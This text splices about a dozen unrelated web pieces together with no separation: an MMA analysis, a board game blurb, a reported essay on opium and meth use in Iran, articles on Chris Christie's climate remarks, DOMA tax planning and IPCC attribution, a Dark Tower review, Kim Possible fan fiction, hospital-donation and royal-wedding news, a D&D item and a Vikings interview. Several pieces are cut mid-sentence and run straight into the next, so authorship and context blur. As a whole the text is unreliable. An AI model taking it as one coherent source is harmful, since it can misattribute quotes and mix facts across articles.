This wasn't a bad plan. De Randamie isn't the most active striker, and Holm could drown her in volume and pace at range while stifling her for long periods. To the judges, Holm would appear to be the fighter who was actually producing offense.
However, Holm's blitzes were effective only in limited spots, and she couldn't get much going in the way of takedowns or effective offense when she pressed de Randamie into the fence.
It's back to the drawing board for Holm, who has now lost three in a row. Whether de Randamie can repeat her success in an anticipated matchup with Cris Cyborg remains to be seen.
Patrick Wyman is the Senior MMA Analyst for Bleacher Report and the co-host of the Heavy Hands Podcast, your source for the finer points of face-punching. For the history enthusiasts out there, he also hosts The Fall of Rome Podcast on the end of the Roman Empire. He can be found on Twitter and on Facebook.Quote:
King of New York is a standalone game from designer Richard Garfield that keeps the core ideas of KoT, your goal is to be the first monster to collect 20 victory points (VPs) or to be the last monster standing. On your turn, you roll six dice up to three times, then carry out the actions on those dice. Claws cause damage to other monsters, hearts heal damage to yourself, and energy is stored up so that you can purchase power cards that provide unique effects not available to anyone else. There's always something happening in the city that never sleeps. Maybe it's the lights, maybe it's the energy, or maybe it's the giant monsters trying to demolish the place!is a standalone game from designer Richard Garfield that keeps the core ideas of King of Tokyo while introducing new ways to play. As in, your goal is to be the first monster to collect 20 victory points (VPs) or to be the last monster standing. On your turn, you roll six dice up to three times, then carry out the actions on those dice. Claws cause damage to other monsters, hearts heal damage to yourself, and energy is stored up so that you can purchase power cards that provide unique effects not available to anyone else.
Three of the six monsters in King of New York
Quote:
What's new in King of New York is that you can now try to become a star in the big city; more specifically, you can achieve "Fame", which nets you VPs, but superstar status is fleeting, so enjoy your time in the spotlight.
The game board for King of New York is larger than in KoT with each monster occupying a district in the city and everyone trying to shine in Manhattan. When you attack, you can displace a monster in another district, whether to escape military forces or to find new smashing opportunities. Yes, smashing because you can now destroy buildings and get bonuses for doing so, but the more destruction you cause, the more intense the military response.
Samples of the King of New York power cardsChasing the Dragon in Tehran
TEHRAN – On June 26, Iranian state media reported that 20,000 former drug addicts had assembled at Tehran’s Azadi Stadium to mark the International Day against Drug Abuse and Illicit Trafficking. President Mahmoud Ahmadinejad attended, and used the podium to portray narcotics as an implement of Western predation. "Today," he said, Western countries "have begun harming nations, especially the Iranian nation, by drugs. Arrogant states masquerade themselves behind the so-called humanitarian masks and they want to stir a sense of inability in other nations. They put on masks of freedom-seeking, human rights, and protecting people but in fact they are the biggest criminals in the world."
Tehran is one the higher capitals on the earth’s surface, and not only in terms of altitude. The United Nations Office on Drugs and Crime (UNODC) reports that Iran has 1.2 million "drug-dependent users," and that 2.26 percent of the population aged 15-64 is addicted to opiates. The organization’s director, Yuri Fedotov, has praised Iran for having "the world’s highest rate of seizures of opium and heroin," and for developing effective treatment and prevention programs. Human Rights Watch, by contrast, has criticized Fedotov for glossing over the country’s inadequate legal proceedings and executions of drug offenders. Most alarmingly, people arrested during opposition demonstrations, such as the Dutch-Iranian Sahra Bahrami, have occasionally been hanged as "drug smugglers."
Today’s Islamic Republic offers premonitions of a narcodystopia. Take a car ride through Tehran at night, and your driver may tell you that the underage girls in chadors who offer esfand — seeds that are burned to ward off the evil eye — along the highways are really selling sex to enable addicted fathers. Ride the metro, and you will see battered children pitching trinkets and fortunes to sustain their parents’ habits. Visit a poor southern suburb like Shahr-e Rey, and you might see a cigarette vendor in the bazaar with a sideline in used needles. Walk through Khaju Kermani Park on the capital’s southeastern outskirts, and you might witness young girls smoking crystal meth in full view of park authorities, while in the background a tall, badly sunburned man with track marks on his arms staggers around in an ill-fitting, woman’s blouse.
Yet the Iranian drug scene is not an exclusive feature of the country’s decadent capital, or solely of its abject underclass. Its roots run deep and wide: For example, when I was visiting the tomb of the 12th-century poet Saadi, a tourist attraction in the southern city of Shiraz, Azad, a local literary critic who was showing me around, gestured beyond the garden walls to the adjacent neighborhood, named Saadieh after the poet. This he identified as a hub for the region’s thieves, traffickers, and drug addicts. "Would you like to visit? It’s very easy to visit, but you might not come back alive," he joked. I had seen enough Iranian skid rows to demur, but, intrigued by the apparent intersection of drugs and high culture, I pressed him for insights.
In a display of Persian hospitality, he invited me to the home of a learned opium enthusiast to witness a display. Opium, Azad told me, is Iran’s oldest and most entrenched drug, and was used medically in the region by Avicenna, the great Persian philosopher-scientist, 1,000 years ago. In ensuing centuries, it was extolled by the poets of the Persian canon. The best-loved of these, Hafez, measured his ecstasies against it, writing, in the genre of love:
"A wound from you is worthier than salve from others/Your poison, sweeter than the opium they render."
When we entered the front room of a large house on the city’s periphery — shielded from the street by high walls — there lay arranged on the floor a metal brazier full of coals, an opium pipe, and other paraphernalia, along with plates of watermelon (your reliable narrator partook only of the fruit).
"We love it and we hate it," remarked Mani, Azad’s friend, a soft-spoken and serious academic in his sixties, as he began to light up. "It has so many problems, difficulties, but also attractions. In my family, my father used it, but he would always say, ‘Don’t touch it.’ He was against it because he used it himself, but later we smoked it together. I used it because it seemed romantic, poetic."
"When you first use it," Azad added, "it makes you relaxed. It makes you have good sleep, or it can give you nightmares and make your imagination work. Especially when you do [creative] work, it gives you the concentration you need. Mowlana, the poet, used it 800 years ago and mentioned it in his work. Hafez mentioned it. But in Iran today, artists and writers have no role, and they are suffering from their own nothingness, so they become disappointed, and look for something to make them calm."
"Socially it’s looked at very negatively," Mani added slowly as he recovered from a long hit. "It’s often criticized in government propaganda. And there’s the impact it has on families. But it is still accepted in some parts of Iran, like in [the south-eastern province of] Kerman. Traditionally, when a girl gets married there, among the things she’s expected to take to her husband is an elaborate set for preparing opium, even though it’s illegal."
"In the shah’s time," he continued, "there was even a certain prestige attached to it. His brothers used it. His father was an opium addict, and everyone knew it. In Islam, the attitude towards opium is not completely negative; in fact, it’s not mentioned." Before the revolution, he added, "there was a brand of opium known as ‘senator.’ Now, they should call it ‘ayatollah.’"
Despite his insinuation of the drug’s appeal to Iran’s rulers past and present, Mani sees opium as a drug in decline. "There is a lot of pressure from outside, because most of the heroin and opium that gets into Europe goes through Iran. [The international community] gives the government money to respond," he said, referring to financial support Western countries give UNODC. The result, he said, is that opium has become expensive. "Mostly rich people use it now, but the quality is much worse. It might be quite dangerous. Chemical drugs are much cheaper and more accessible to the youth, and they require less paraphernalia."
Before I left, Azad asked me to be careful with the pictures I had taken of their session because "the government is after just such a thing, especially when it involves intellectual people."
Back in Tehran, I sought a more clinical take on the subject, and met Ali, a gentle 32-year-old social worker at an addiction treatment facility in the city’s eastern Tehranpars neighbourhood.
"The problem of drugs in Iran does not belong to any particular class or educational background," he emphasized. He sees more than 100 regular patients, from a range of economic spheres. Some are poor Afghan workers with no legal status or family support, while others are — or have been — wealthy. "One [of my patients] is a dentist who worked in the United States," he said, aiming to surprise. "He had a car accident there, and was injected with morphine. After he was released from hospital, he started injecting himself, and eventually lost everything he had and moved back to Iran."
Ali described two main classes of drugs with which he deals. There are opiates, such as opium, morphine, and "crack" (which in Iran describes not the most addictive form of cocaine, but the most impure form of heroin) — and synthetics, which includes ecstasy, psychedelics, and "shisha" — crystal meth. Shisha and crack habits, Ali told me, are the most common forms of addiction.
He explained that drug treatment has come a long way since the revolution. "There was a time when if someone was using drugs, it was viewed as a disaster by families. The treatment was locking up, even chaining up, those who were addicted. Politics aside, drug addiction is a horrible problem for any government to face, and attitudes have changed. Rehab centres keep opening. The hopes of families really increase when they see treatment working." But successes in treatment for opiate habits, he added, have been countered by mafias introducing synthetics, with which treatment centers have less experience.
Improbably for a country where lawbreakers and ideological renegades are regularly hanged in public, Iran can be uncharacteristically lenient where addicts are concerned. The center where Ali works dispenses government-subsidized methadone to opiate users and conducts "self-awareness therapy" for those on methamphetamines. Some patients even visit the center from prisons, where they undergo treatment programs. Ali spends much of his time counseling youths, families, and spouses, and conducting group support sessions.
He invited me to one of his sessions, which bore likenesses to Western 12-step programs, with its heavy emphasis on personal responsibility. The meeting even concluded with a non-denominational group prayer.
In light of what I’d heard and witnessed, I tried to think my way into Ahmadinejad’s Azadi Stadium remarks. The president failed to point out that Western markets have made Iran a conduit for narcotics, or that Iran can only resent that its police face danger, in part, for the benefit of authorities in decadent Europe. Nor did he suggest that international demand for opiate interdiction might be contributing to the spread of crystal meth in Iran, thereby exacerbating drug harm. He dismissed the language of human rights, perhaps insinuating that calls for leniency toward drug pushers are ill-intentioned, and so it’s just as probable that his logic is unabashedly conspiratorial. If so, his view is echoed by Hamidreza Hosseinabadi, head of Iran’s anti-drug task force, who last year accused British forces in Afghanistan of actually guiding traffickers into Iran.
Following Ali’s support session, I ran Ahmadinejad’s statements by Rahim, a bazaar merchant and recovering opium addict in his fifties who had led the group prayer. He was having none of it.
"The way I see it," he said, "We can’t blame other people for our mistakes. You could pile up all the drugs in the world in a square in Tehran, but only those who want to use them will take them. You can’t say, ‘because there are drugs, I became addicted.’ Some people say, ‘it’s my parents’ fault, it’s my friends’ fault, it’s my country’s fault, it’s the regime’s fault,’ but after going through this program, I believe that [my addiction] was my fault, not the fault of my government or of the United States."Republican presidential candidate and New Jersey Gov. Chris Christie thinks that human exhalation is a cause of climate change. Or he thinks that statement is "ridiculous." Either might be true.
"The climate's been changing forever, and it will always continue to change," said Christie at an Aug. 4 event in Manchester, New Hampshire, which was captured on video. "Does human activity contribute to it? Of course it does. We all contribute to it in one way or the other. By breathing we contribute to it."
At an Aug. 29 event in Laconia, New Hampshire, a young woman volunteering with the group NextGen Climate asked Christie to clarify those comments: "Do you really believe that humans exhaling carbon dioxide contributes to climate change?"
"Give me my microphone back," Christie responded with annoyance.
"I really care about this subject," she responded.
"I know you really care about this subject, but you know what, the first thing you need to do is not be wrong, and not quote me incorrectly. I never said that humans contribute to climate change by breathing," Christie said.
"I never said it," he continued when she reminded him of the date and event. "Were you there?"
She confirmed that she was there and that she heard him say it.
"Then you need to clean out your ears, young lady," the candidate replied. "I never said that humans contribute to climate by breathing. Ridiculous statement. I never said that."
In the video, Christie goes on to tout New Jersey's efforts to promote solar power.
NextGen mashed up the two videos, juxtaposing the comments at the Aug. 4 and 29 events. In a statement, the group tried to highlight the bright side of Christie's comments.
"When it comes to addressing climate change, Christie is right to walk back his climate change denial and instead focus on the importance of concrete solutions that combat climate change, grow our economy and create jobs," wrote the group. "As governor of New Jersey -- one of the top ten solar producing states in the country -- Christie rightly cites that private business and government should work together to create jobs and build a clean energy economy."
Democrats seized on the remarks to point out Christie's less charitable climate actions, which include shuttering the state's Office of Climate Change and Energy and taking money from the state's clean energy fund to balance the budget.
"If you’re waiting on Christie to be sensible on climate change, don’t hold your breath," Democratic National Committee spokeswoman Kaylie Hanson said in an email to The Huffington Post. "Clearly he’s just another GOP candidate who doesn’t have a clue on climate change."
Christie's campaign did not respond to a request for further comment on his position.
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Also on HuffPost:Last week, the Supreme Court ruled that the portion of the Defense of Marriage Act (DOMA) that denies federal recognition to same-sex couples is unconstitutional.
Due to the ruling, there are a few things that same-sex couples need to consider as they plan their finances in a post-DOMA world.
First: What the Ruling Doesn’t Do
It’s important to note that the ruling doesn’t force all states to recognize same-sex marriages. In fact, some rather thorny issues are being raised by the ruling, which essentially says the federal government has to recognize as marriage what a state sees as marriage. So far, only 13 states plus the District of Columbia recognize same-sex unions. Here’s a list of the states that currently allow same-sex marriage.
If you live in a state where same-sex marriage is recognized, and you are legally married there, there is no problem.
Things get a little dicey if you are married in a state that recognizes same-sex unions and you live in a state that doesn’t recognize such marriages. If you are married in New York, where same-sex marriage is legal, but move to Utah, where your marriage isn’t recognized, what happens?
That’s something that hasn’t been worked out yet.
Some say that the IRS can decide to go ahead and let you file jointly, and there are some federal benefits that would still be available (including survivor benefits) even if you move to a state that doesn’t recognize same-sex unions. However, practice has been that the IRS considers your filing status according to state law. But this issue might mean that the practice is abandoned, since there is no statutory direction for that practice. But the federal benefits situation might be more difficult to sort out.
Efforts to repeal DOMA wholesale have been introduced in the House and in the Senate, so this issue might be revisited later.
Also, even though you might be able to file your taxes jointly and receive federal benefits as a same-sex couple now, if you live in a state that doesn’t recognize your union, you will still have to file state taxes separately, and you might not be eligible for state benefits.
Overpaid Taxes Due to DOMA: Get a Refund
Have you overpaid on your tax return due to DOMA?
If you have had to file separately, even though you are legally married in your state, you might have overpaid your taxes. You can file an amended return for tax years three years past. So, if you were legally married in 2010, 2011, or 2012, but you had file separately, and you have overpaid on your taxes as a result, you can amend your return to change your filing status to joint, and then re-figure your taxes, and possible get a refund for the amount you overpaid.
Estate Planning and the End of DOMA
Now that a portion of DOMA has been ruled unconstitutional, you can adjust your estate planning efforts to take advantage of some benefits that come with estate planning.
Some of the things to consider regarding estate planning now include:
If your spouse dies, the unused portion of the estate tax exclusion can be transferred to your own, boosting the amount of the exclusion. However, the proper paperwork will need to be filed in a timely manner to see the advantage.
You are allowed to give a gift of $14,000 to an individual a year without paying gift tax. Married couples are able to give $28,000; this can be from one person’s account or a joint account, or each couple can give $14,000. This is up to the lifetime exclusion of $10.5 million for a couple ($5.25 million as a single).
Same-sex couples also have access to rollover rights with a spouse’s IRA. Special rules apply to IRAs that go to spouses after a death; other non-spouse inheritors are hedged about by certain requirements.
High Net Worth Gay Couples: Marriage Penalty
Many of us think of filing jointly as a plus, since it can be helpful in terms of reducing overall tax burden to your household.
However, once you reach a certain level of financial success, marriage becomes a penalty. This is seen by the fact that tax brackets for married couples aren’t set at rates that are double for single filers. For instance, a single filer with taxable income of $183,251 is in the 33% marginal bracket. A married couple is in that bracket at $223,051.
This year’s new taxes as a result of the PPACA could cause problems for high net worth married couples, and same-sex couples are included in that. There is an additional Medicare tax of 0.9% for those who have earned income above $250,000 ($200,000 for single filers). Additionally, there is also a 3.8% tax on investment income for those in that income category.
Say you make $180,000 and your same-sex partner makes $150,000. Additionally, you have investment income of $10,000 and $20,000, respectively. If you remain single, you won’t be subject to Medicare taxes because each of you falls under the income requirements for single filers. If you marry, though, you are over. You will have to pay 0.9% on the $80,000 that is excess of the $250,000 threshold. Plus, you will have to pay 3.8% on the $30,000 of investment income you have.
Finally
There are plenty of other concerns and planning issues to consider now that the federal government recognizes your marriage. Make sure you speak with a knowledgeable tax specialist, and/or estate planning attorney to help you sort out what you should do next.100 percent of the global warming over the past 60 years is human-caused, according to the IPCC's latest report
Global warming: why is IPCC report so certain about the influence of humans?
The fifth Intergovernmental Panel on Climate Change (IPCC) report states with 95 percent confidence that humans are the main cause of the current global warming. Many media outlets have reported that this is an increase from the 90 percent certainty in the fourth IPCC report, but actually the change is much more significant than that. In fact, if you look closely, the IPCC says that humans have most likely caused all of the global warming over the past 60 years.
Spot the Differences
Here is the relevant statement from the fourth IPCC report in 2007:
"Most of the observed increase in global average temperatures since the mid-20th century is very likely [90 percent confidence] due to the observed increase in anthropogenic greenhouse gas concentrations
Now here is the statement from the fifth IPCC report:
"It is extremely likely [95 percent confidence] more than half of the observed increase in global average surface temperature from 1951 to 2010 was caused by the anthropogenic increase in greenhouse gas concentrations and other anthropogenic forcings together."
Did you spot the differences? The 2007 IPCC statement focused on human greenhouse gas emissions, while the 2013 statement pertains to all human influences on the climate. This includes the cooling effect from human aerosol emissions (pollutants that scatter sunlight).
Cooling from human aerosol emissions offsets about one-third of the warming from human greenhouse gas emissions. The new IPCC statement says that even taking that aerosol cooling effect into account, humans are still the main cause of the global warming over the past 60 years.
Current Global Warming Caused by Greenhouse Gases, Not Nature
The IPCC elaborates further. What's causing global warming: human greenhouse gas emissions.
"The best estimate of the human-induced contribution to warming is similar to the observed warming over this period... The observed warming since 1951 can be attributed to the different natural and anthropogenic drivers and their contributions can now be quantified. Greenhouse gases contributed a global mean surface warming likely to be in the range of 0.5°C to 1.3 °C over the period 1951−2010, with the contributions from other anthropogenic forcings, including the cooling effect of aerosols, likely to be in the range of −0.6°C to 0.1°C."
What's not causing global warming: natural external factors like solar activity, and natural internal factors like ocean cycles.
"The contribution from natural forcings is likely to be in the range of −0.1°C to 0.1°C, and from internal variability is likely to be in the range of −0.1°C to 0.1°C."
We've observed about 0.6°C average global surface warming over the past 60 years. During that time, the IPCC best estimate is that greenhouse gases have caused about 0.9°C warming, which was partially offset by about 0.3°C cooling from human aerosol emissions. During that time, natural external factors had no net influence on global temperatures. For example, solar activity has been flat since 1950.
Annual global temperature change (thin light red) with 11 year moving average of temperature (thick dark red). Temperature from NASA GISS. Annual Total Solar Irradiance (TSI; thin light blue) with 11 year moving average of TSI (thick dark blue). TSI from 1880 to 1978 from Krivova et al (2007). TSI from 1979 to 2009 from PMOD.
As for the natural internal variability of the Earth's climate system, short-term noise averages out to zero over long time frames. Warm and cool ocean cycles cancel each other out, and thus internal variability has no long-term influence on average global temperatures.
Put it all together, and the IPCC is 95 percent confident that humans have caused most of the observed global surface warming over the past 60 years. Their best estimate is that humans have caused 100 percent of that global warming.
IPCC is Summarizing the Scientific Research
The IPCC does not conduct any original research; it's a summary report, and these statements accurately reflect the body of climate science research. For example, last year climate scientists Tom Wigley and Ben Santer published a paper concluding that human climate influences were responsible for 50 to 150 percent of the observed warming from 1950 to 2005.
Like this new IPCC statement, they found with 95 percent confidence that humans have caused at least half the observed warming since 1950, and most likely all of it. It's also possible that humans have caused more warming than has been observed because natural factors may have had a net cooling effect. The Wigley and Santer results are consistent with the body of scientific research on the causes of global warming.
Net human and natural percent contributions to the observed global surface warming over the past 50-65 years according to Tett et al. 2000 (T00, dark blue), Meehl et al. 2004 (M04, red), Stone et al. 2007 (S07, light green), Lean and Rind 2008 (LR08, purple), Huber and Knutti 2011 (HK11, light blue), Gillett et al. 2012 (G12, orange), Wigley and Santer 2012 (WS12, dark green), and Jones et al. 2013 (J12, pink).
The 'fingerprints' of climate change are also all consistent with what we expect to see as a result of human-caused global warming, for example changes in the atmosphere, as another paper by Ben Santer recently concluded.
Summary of observational evidence that human carbon dioxide emissions are causing the climate to warm.
What About the Naysayers?
A few naysayers like Judith Curry from Georgia Tech have disputed the IPCC confidence on this question, for example in an interview with the reliably inaccurate David Rose.
However, while Curry is a climate scientist, she doesn't research the causes of global warming. She also has a history of exaggerating climate uncertainties. Her comments are inconsistent with the body of scientific research on the subject. Put simply, she is speaking outside her area of expertise, like a podiatrist giving advice on open heart surgery.
The 97 Percent Consensus is Evidence-Based
This is why there's a 97 percent consensus amongst climate experts and in the climate science literature that humans are causing global warming. The scientific evidence on this question is overwhelming.
Many commenters have noted that the expert consensus is itself not scientific evidence for human-caused global warming. That's true. The expert consensus is however based on the scientific evidence. The fact that 97 percent of climate experts agree on this subject also demonstrates the strength of the scientific evidence on human-caused global warming. And the strength of the evidence is why the IPCC is able to say with 95 percent confidence that humans are the main cause of the current global warming.0
There’s no half-assing a fantasy epic. Either you want to draw people into a big, strange new world or you want to keep them grounded in ours. Either you want to transport the audience into a land of magic, unique cultures, and curious histories, or you want to stay Earthbound. Nikolaj Arcel’s adaptation of Stephen King’s The Dark Tower exists in some weird middle ground where it doesn’t have either the inclination or the budget to be truly majestic so it just keeps teasing the audience with thoughts of a bigger, bolder movie. Despite strong performances from leads Idris Elba and Matthew McConaughey, The Dark Tower is too meager to feel grandiose, and too haphazard to feel grounded.
An opening title card informs us that the universe is held together by a structure called “The Dark Tower.” If the Tower falls, darkness will engulf the universe. The mind of a child has the power to bring down the Tower. That’s where Walter (McConaughey), aka The Man in Black, a sorcerer comes in. He’s been kidnapping kids and bringing them to his lair to try and bring down the Tower, but it only creates earthquakes in other worlds. Back on Earth, adolescent Jake Chambers (Tom Taylor) has been having visions of the Man in Black as well as Roland Deschain (Elba), a Gunslinger. The Gunslingers were an order of knight-like warriors who tried to take on Walter, but lost, and now Roland, who is immune to Walter’s magic for a reason that’s never explained, is the last one. When Jake travels to Roland’s home of Mid-world, the two team up to take down Walter and protect the Dark Tower.
For a movie with a lot of mythology—a sorcerer |
D. I've applied everywhere and I still have not received anything. I know you can do this, it's not very ethical, but I have no choice. If I lose her, I lose everything. I'd sacrifice everything for her, and you know that."
The other voice responded. "I know, but if you can really think about the ramifications of your actions, you may be making a sacrifice for nothing. I can not guarantee this will work, and even if it does, you will not have very long until someone finds out. You need to think about this strongly. Why Not C? C's got a lot more potential! "
Ron Replied "C is a good plan, but she wants an educated person, and C would not be that. It's definitely a good runner up, and legal… I'll think about it, just do your computer thing and make me scenarios on each plan and what the probability of success is. Can we do that before tomorrow? I'm on a tight schedule here."
The other voice said nothing but Rufus could hear the intense typing on a keyboard. "I'll have it ready when you wake up."
Rufus felt extremely tired and fell asleep.
Kim's Kimmunicator was sitting at the login screen for almost half an hour. Her access to Wade's supercomputer was denied, and without Wade, hacking this thing was out the door. Kim looked towards the night sky. The stars were bright out, and reminded her of Ron's eyes. "I miss him so much. I even question leaving this place because of him. I really love him. I didn't think I'd never get to say it again. She looked at the twilight sky and remembered how he protected her that fateful day two months ago. She remembered him strong, yet kind. He stood above her and extended his hand. When she took it, the electricity she felt was unlike anything before. Then, the most amazing emotion she felt shot through her. The hug they shared, as she embraced her boyfriend, she realized that it was true love. That's what made her summer so great. He was there all the way for her, immensely supportive in her transition from high school to college. It was that one statement he said before graduation. "You're heading for the stars, and I'm well…I'm stuck on earth, but I don't want to hold you back." If Ron only knew he was doing the opposite. He had pushed her to be her best, and that no matter what, he would be by her side. She hadn't told him yet, but Harvard had sent her two letters, the second making sure she received the first and she had decided on Harvard. Neurobiology seemed tempting as she wanted to follow in her mother's footsteps yet never really told her in fear of her dad's response. The sweet deal was that they offered her a free ride for as long as she was willing to go to school. When she heard that, her reply was "Spankin"
Nonetheless, she had to find out the code. Her dad had already tried to use some of the machinery at the lab to crack it, but Wade already prepared for any attempts. It had to be a legitimate login. Kim, defeated went into her room and lay on her bed. It was getting really late and she needed sleep for the next day. Her head hit the pillow and thought about Ron. All went black.
"Kimmie cup, time to wake up!" Her mother smiled.
Kim looked at the clock. It was 9:00a.m. Ron had been missing for an entire day. She called his parents, whom were still not at their home as well as Ron's cell, which provided her his voicemail. Her mom walked up to her with an upset face. "Kimmie, you've got to be more careful with your clothes. I found this crumpled paper in your pocket. She unwrapped it. "OH MY GOSH! MOM! YOU ROCK!" Kim ran upstairs. "What's gotten into her?" Mr. Possible asked. "I don't know, but I'm sure it's a good thing." Mrs. Possible replied.
Upstairs in her room, Kim pulled out her Kimmunicator. "Password" She closed her eyes. "Please let this be right!"
She trembled with her fingers as she typed. "White hat, Black hat"
She pressed Enter.Jennifer Pritzker's Tawani Foundation made a $1 million commitment to Lurie Children's Hospital's gender program. View Full Caption Getty Images/Daniel Boczarski / DNAinfo
CHICAGO — The world's wealthiest transgender person is backing a big fundraising campaign for nonconforming patients at Lurie Children's Hospital.
The Streeterville hospital, 225 E. Chicago Ave., said Thursday it was launching a $500,000 campaign for gender nonconforming patients in its Gender & Sex Development Program launched in 2013. It was the first such clinic in the Midwest upon its opening.
And Pritzker, a Chicago-based billionaire investor and philanthropist, will match every dollar raised.
“The team at Lurie Children’s has done an excellent job of initiating and developing a program of local and national significance," Pritzker said in a statement. "Yet, there remains a compelling need for expanding access and developing comprehensive services for gender-nonconforming children and transgender youth. It is my hope that the community will join me in investing in the health and well-being of these young people.”
The program provides medical and psychological care to about 400 children. Hospital officials said Thursday the campaign is more relevant than ever given the mass shooting at a gay nightclub in Orlando, Fla. earlier this month, a tragedy that deeply troubled LGBTQ people everywhere.
"This gift is so important for the families we serve,” Dr. Robert Garofalo director of the program and head of the hospital's division of adolescent medicine, and professor of pediatrics at Northwestern University, said in a statement. “The recent tragedy in Orlando underscores the great need for advocacy and community education in support of LGBTQ youth.”
In an interview, Garofalo said the money raised will help cover gaps in patients' insurance coverage, fund medical research and outreach at Chicago schools. He said the program hosts 15 new patients a month, but has a four-to-five month wait list. Patients range in age from 4 to about 22 years old, he said.
The younger patients mostly receive therapy revolving around their nascent gender identities, while older patients who have reached puberty can receive treatments assisting in transitions, Garofalo said.
The campaign "will allow us to offer services to families who otherwise wouldn’t have been able to receive care," he said.
Pritzker, a retired Army colonel and heiress to the Pritzker family fortune, became the world's first transgender billionaire after going through a public transition in 2013. She is head of Tawani Enterprises, an investment firm active in real estate development, and also heads the Pritzker Military Library in the Loop. She is worth about $1.8 billion according to Forbes.
Through her foundation, Pritzker donated seed money to launch the program three years ago. Garofalo was unsure of the clinic's annual budget.
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For more neighborhood news, listen to DNAinfo Radio here:Meghan Markle and Prince Harry attend Christmas Day Church service at St Mary Magdalene Church in Sandringham on December 25 | Chris Jackson/Getty Images UK government worried Obama invite to royal wedding will offend Trump No date has yet been fixed for President Trump’s visit to the UK.
The British government is worried that Donald Trump may feel snubbed if Barack and Michelle Obama are invited to Prince Harry's wedding next year, the Sun reported.
Prince Harry is close to the Obamas following their collaboration during the Invictus Games, a sporting event for war veterans, in September. The British government is concerned with the potential diplomatic fallout if the former American president meets the royal family before the current president does.
“Harry has made it clear he wants the Obamas at the wedding, so it’s causing a lot of nervousness," the tabloid quotes a "senior government source" saying. “Trump could react very badly if the Obamas get to a royal wedding before he has had a chance to meet the queen."
The report indicated that May could have the final word over inviting the Obamas. “If the PM [Theresa May] lays down the law, Harry will just have to suck it up,” said the goverment official.
Trump was invited on an official state visit — including a meeting with the queen — to the U.K. early this year by Prime Minister Theresa May, but the visit has yet to be scheduled.
Reports suggest that Trump's visit was put off until next year due to the expected negative reaction of his visit, especially after a series of Twitter interventions by the president in British affairs in which he criticized the U.K.'s response to terror attacks and London's Muslim mayor, Sadiq Khan.
Most recently, the president retweeted racist videos from far-right group Britain First, drawing an unusually strong reaction from Downing Street.The History of Fluff Fluff
Born from the ashes of Talamound the Lich; Slaver of Souls, the essence of Suz'ac; Gatekeeper to the Abyss, and Lordas; The Apprentice Who Fell in the Forge. Fluff Fluff was an item forged for war and chaos.
Passed from tyrant to warlord, Fluff Fluff has survived the ages; all the while absorbing the blood of slaughtered. The prior owner to Fluff Fluff was known as Durian the Bloodfrenzied; Scourge of the South. Together they razed cities and nations alike, burning all who stood in their way.
Yet, Fluff Fluff was lost to the annals of time as Durian passed and his kingdom devolved into civil war. Whether by chance or destiny Fluff Fluff has fallen into your hands.
May you wield its awesome power with care.
Fluff Fluff
Wonderous item, Legendary (requires attunement)
This pink hobby horse known as Fluff Fluff; The Bearer of the End has 3 soul charges. Each command word costs 1 soul charge; Fluff Fluff regains 1d4 charges after reducing a creature to 0 hit points with one of its commands. While you are holding it between your legs, you can use an attack action to speak one of four command words to cause one of the following effects:
Note to Owner for Durian: Fluff Fluff wants that good stuff. He is gonna know the difference between cheap souls and that Gucci level good stuff. Also, do you really want a muderous, hungry, pink hobby horse under you?
A full Fluff Fluff is a happy Fluff Fluff.
Devour
The first command word causes Fluff Fluff eyes to shine in bloodlust, as the plush sown mouth unfolds to revel a set of razor-like teeth. As an action, choose one creature within 5 feet of you. This creature must succede on a DC 13 Constitution saving throw or take 1d10 piercing damage. The owner heals for half the damage Fluff Fluff deals with this command.
Over time Fluff Fluff's glutonous nature only grows to insatiable heights. At 9th level, Devour has a Constitution saving throw of DC 15 and deals 2d10 piercing damage.
The hunger increases again at 15th level to a saving throw of DC 17 and deals 3d10 piercing damage.
This command can only be used once per round.
Incinerate
The second command word causes Fluff Fluff's horn to glow a sinster sanguine, radiating an aura of malice. As an action, ebony flames erupt from Fluff Fluff's horn in a 20-foot cone.
Each creature in that area must make a DC 13 Dexerity saving throw, taking 2d6 necrotic damage on a failed save, or half as much damage on a successful one.
Any creature reduced to 0 hit points by this damage explodes in a muted rainbow, dealing 1d4 radiant damage to creatures with 5 feet of it.
Fluff Fluff's dark powers evolves the longer it feasts on the souls of the slain. As such at 9th level, Incinerate has a Dexerity saving throw of DC 15 and deals an 3d6 necrotic damage. When reducing a creature to 0 hit points Fluff Fluff deals 2d4 radiant damage to the surrounding creatures.
At 15th level, the saving throw increases to DC 17 and deals 4d6 necrotic damage. For creatures that are reduced to 0 hit points, the damage becomes 3d4 radiant damage.
This command can only be used once per round.The newly released TaskOnPaper app lets you enter tasks, projects, and notes just like you would on physical paper. As a continuation of the popular TaskPaper, this app provides an easy way for you to stay productive.
Offering a customizable interface, the ability to work with several individual documents, and advanced search capabilities, TaskOnPaper provides simplicity and convenience. Here are some of its useful features:
Compatibility with TaskPaper for Mac
Integration with TextExpander
Sync options with Dropbox
Plain text formatting for task lists
Powerful search options
Multi-level document folders
Email and print capabilities
Customization of fonts, sizes, colors, and backgrounds
Passcode protection
Working with TaskOnPaper is easy. Here are some of the basics to get you started:
To create a project, enter a colon at the end of the line.
To create a task, start the line with a hyphen.
To mark a task complete, swipe through it.
To set a tag, write the tag name with the “@” symbol.
To start a hierarchy, type a space at the beginning of the line.
TaskOnPaper makes you feel like you are using a physical notebook, but with better options. The app is available for iPhone at the price of $4.99 on the App Store.Katheryn Winnick Wakes Up, Kicks Ass, Repeats as Lagertha on Vikings
The first half of Vikings season 4 ended on an odd note, with an episode that saw Rollo vanquish Ragnar and his fellow Vikings as they attempted to attack Paris again and then featured a time skip of several years. Season 4 returns on November 30th, and this past week Katheryn Winnick (Lagertha) was on hand to give some juicy details about what has happened and what’s to come.
One thing that’s been made very clear in the previews for “Season 4B” is the fact that Lagertha doesn’t care for Queen Aslaug or how she’s running Kattegat. Katheryn Winnick outright stated that Lagertha feels as if Aslaug is “running the show and not necessarily running it the proper way, or the strongest way, as a ruler, to help the people.” And while Winnick couldn’t go into too much detail about the upcoming reckoning between Lagertha and Aslaug, she did say that there would be a “big epic scene” where they would come face to face, a scene that is “juicy and…memorable”.
Of course Aslaug isn’t the only person with whom Lagertha will be coming face-to-face in the upcoming episodes. When asked about the return of Ragnar and the suggestion that Lagertha shows emotional weakness with/around him, Katheryn Winnick was quick to correct that idea:
Now you mentioned weakness. I don’t necessarily see it as weakness – I see it as a vulnerability – but I think there is strength in vulnerability, and especially with Lagertha and the fact that here is somebody that she shared her childhood with…They have been through so much, they had made children together and to see him now after so many years, especially after the time jump, and still have love for him…but she realizes she is in a different place…yet they will always be together. If not in this world, maybe in Valhalla.
